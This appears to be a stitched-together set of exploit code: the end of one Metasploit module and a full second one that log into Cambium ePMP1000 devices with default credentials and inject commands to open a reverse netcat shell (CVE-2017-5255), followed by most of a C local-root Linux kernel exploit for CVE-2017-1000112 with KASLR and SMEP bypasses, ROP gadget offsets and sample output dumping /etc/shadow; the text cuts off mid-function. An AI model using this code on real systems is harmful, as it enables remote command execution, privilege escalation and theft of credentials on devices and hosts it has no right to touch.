print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
# check if max_user_number_reached?
if !res.body.include?('max_user_number_reached')
# get the final cookie now
cookies = res.get_cookies_parsed
stok_value = cookies.has_key?('stok') && cookies['stok'].first
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value
# create config_uri
config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'
return final_cookie, config_uri_ping
else
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
final_cookie = 'skip'
config_uri_ping = 'skip'
return final_cookie, config_uri_ping
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
final_cookie = 'skip'
config_uri_ping = 'skip'
return final_cookie, config_uri_ping
end
end
end
#
# open cmd_shell
#
def cmd_shell(config_uri, cookie)
command = payload.encoded
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
print_status('Sending payload...')
res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' => 'XMLHttpRequest',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}, 25
)
handler
end
# exploit
def exploit
success, epmp_ver = is_app_epmp1000?
if epmp_ver < '2.5'
cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && config_uri_ping == 'skip'
return
else
cmd_shell(config_uri_ping, cookie)
end
else
print_error('This ePMP version is not vulnerable. Module will not continue.')
return
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium
ePMP1000 device management portal. It requires any one of the following login
credentials - admin/admin, installer/installer, home/home - to set up a reverse
netcat shell. The module has been tested on versions 3.1-3.5-RC7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-5255'],
['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']
],
'Privileged' => true,
'Targets' =>
[
['CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DisclosureDate' => 'Dec 18 2017',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
#
# Fingerprinting
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true, epmp_ver
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
epmp_ver = ''
return true, epmp_ver
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
epmp_ver = nil
return false
end
end
#
# check
#
def check
success, epmp_ver = is_app_epmp1000?
if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
return CheckCode::Vulnerable
else
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
end
end
#
# Login
#
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
cookies = res.get_cookies_parsed
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
good_response = (
res &&
res.code == 200 &&
check_sysauth.include?('sysauth')
)
if good_response
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => sysauth_value,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass,
'prevsess' => prevsessid
}
}
)
good_response = (
res &&
res.code == 200 &&
!res.body.include?('auth_failed')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
# check if max_user_number_reached?
if !res.body.include?('max_user_number_reached')
# get the cookie now
cookies = res.get_cookies_parsed
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
stok_value = "#{stok_value_dirty}".split('"')[3]
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"
# create config_uri
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
return final_cookie, config_uri_get_chart
else
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
final_cookie = 'skip'
config_uri_dump_config = 'skip'
config_uri_reset_pass = 'skip'
config_uri_get_chart = 'skip'
return final_cookie, config_uri_get_chart
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
final_cookie = 'skip'
config_uri_get_chart = 'skip'
return final_cookie, config_uri_get_chart
end
end
end
#
# open cmd_shell
#
def cmd_shell(config_uri, cookie)
command = payload.encoded
inject = '|' + "#{command}"
clean_inject = CGI.unescapeHTML(inject.to_s)
print_status('Sending payload...')
res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' => 'XMLHttpRequest',
'Connection' => 'close'
},
'vars_post' =>
{
'measure' => 's', # This parameter can also be used for injection
'timestamp' => clean_inject,
'debug' => 0
}
}, 25
)
handler
end
# exploit
def exploit
_success, epmp_ver = is_app_epmp1000?
if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
return
else
cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && config_uri_get_chart == 'skip'
return
else
cmd_shell(config_uri_get_chart, cookie)
end
end
end
end
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// EDB Note: Also included the work from ~ https://ricklarabee.blogspot.co.uk/2017/12/adapting-poc-for-cve-2017-1000112-to.html
// Supports: Ubuntu Xenial (16.04) 4.4.0-81
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
void mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0 ||
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
perror("[-] send()");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
perror("[-] setsockopt(SO_NO_CHECK)");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
